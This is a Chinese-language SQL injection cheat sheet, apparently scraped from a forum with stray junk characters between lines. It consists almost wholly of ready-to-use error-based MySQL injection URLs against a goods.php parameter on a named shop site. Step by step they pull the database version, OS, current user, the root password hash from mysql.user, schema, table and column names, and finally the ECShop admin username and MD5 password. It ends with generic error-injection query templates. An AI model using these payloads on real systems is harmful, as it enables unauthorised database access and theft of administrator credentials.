盲注详细内容

admin

判断版本号
+ c( t( k8 f: ]. A; zhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

判断系统

" |& d' N0 i. _8 V. z1 q) I% fhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23


/ `2 p: W  Y# P, I8 P
当前 user()
" G6 K  D6 L# m) u$ T( [' b/ I1 m
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
& k2 a8 s9 u" r/ [+ [1 P

; ?5 Q5 C$ X3 L3 ~/ s5 u) }
' D4 V1 U4 z5 G" D( [( h  o' x当前 database()
* P8 ?: B& F  R1 Uhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
1 M: G) ?0 |) v! m, V
+ J! F' r# A/ I  |+ i8 n% R) q
9 A" A4 R3 U8 u( D6 q3 t' Q% I8 m
& \* {2 p) R7 e6 V4 N
root hash

4 X: H9 v3 s) G* H) D  uhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
; }2 Y7 f* W" y" V0 c
8 B" u" {, N4 @5 F8 }" V1 u
6 N# m3 O, O! F* p! s
$ Z2 z- n4 N% L; _" A& W. X' U5 D当前 数据库表名
# K& K/ ~2 p4 x" e- s6 q
1 |( N: C) Z6 J* Jhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

4 f- Y' E( Q/ {$ d; P: X3 L

1 e( ]9 R* T! m+ e当前 数据库 user_name 字段
4 q# u$ P+ K3 o; n5 i3 b; i  Q
0 g8 J1 b: e+ b# ~http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
# }9 X# S: @5 ]0 x4 [
当前 数据库 字段 password
# J$ {/ S3 }2 f& L% W% l8 {http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23

0 q/ W1 O+ x, P6 p6 R0 X
4 D+ f/ G; U6 K$ @$ q
获得 admin passwd(md5)


2 ?# n3 X3 h8 s. shttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
' [! L, V$ x6 m6 Q+ }9 T0 ~' ~0 N
1 ]3 B2 U* d$ O; O报错注射
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)

SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)

6 h8 h# \# ~+ D6 ]" e8 tand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)